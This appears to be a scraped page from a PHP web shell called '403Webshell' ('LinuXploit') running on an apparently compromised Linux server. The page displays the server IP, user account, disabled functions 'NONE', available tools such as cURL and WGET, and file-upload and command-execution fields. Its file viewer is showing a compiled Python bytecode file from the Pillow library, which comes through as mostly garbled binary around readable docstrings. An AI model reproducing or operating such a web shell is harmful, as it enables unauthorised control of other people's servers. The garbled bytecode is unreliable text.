403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/PIL/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/PIL/__pycache__/_deprecate.cpython-311.pyc
�

�"�c���:�ddlmZddlZddlmZ	dddd�dd�ZdS)�)�annotationsN�)�__version__F)�action�plural�
deprecated�str�when�
int | None�replacement�
str | Nonerr�bool�return�Nonec��|rdnd}|�d}ne|ttjd��d��kr|�d|�d�}t|���|d	krd
}ndt�d�}t|���|r|rd
}t|���|rd|�d�}n|rd|�d���d�}nd}tj|�d|�d|�|��td���dS)a.
    Deprecations helper.

    :param deprecated: Name of thing to be deprecated.
    :param when: Pillow major version to be removed in.
    :param replacement: Name of replacement.
    :param action: Instead of "replacement", give a custom call to action
        e.g. "Upgrade to new thing".
    :param plural: if the deprecated thing is plural, needing "are" instead of "is".

    Usually of the form:

        "[deprecated] is deprecated and will be removed in Pillow [when] (yyyy-mm-dd).
        Use [replacement] instead."

    You can leave out the replacement sentence:

        "[deprecated] is deprecated and will be removed in Pillow [when] (yyyy-mm-dd)"

    Or with another call to action:

        "[deprecated] is deprecated and will be removed in Pillow [when] (yyyy-mm-dd).
        [action]."
    �are�isNza future version�.r� z" deprecated and should be removed.�
zPillow 10 (2023-07-01)z Unknown removal version, update �?z*Use only one of 'replacement' and 'action'z. Use z	 instead.z. �z# deprecated and will be removed in �)�
stacklevel)
�intr�split�RuntimeError�__name__�
ValueError�rstrip�warnings�warn�DeprecationWarning)rr
rrr�is_�removed�msgs        �0/usr/lib/python3/dist-packages/PIL/_deprecate.py�	deprecater(s>��B�
#�%�%�t�C��|�$���	
��[�&�s�+�+�A�.�/�/�	/�	/��E�E�c�E�E�E���3����	
����*���<��<�<�<����o�o����v��:����o�o����0�+�0�0�0���	��+�f�m�m�C�(�(�+�+�+������M��Q�Q��Q�Q��Q��Q�Q���������)N)rr	r
rrr
rr
rrrr)�
__future__rr!rrr(�r)r'�<module>r,sl��"�"�"�"�"�"�����������#�=�
��
=�=�=�=�=�=�=�=r)

Youez - 2016 - github.com/yon3zu
LinuXploit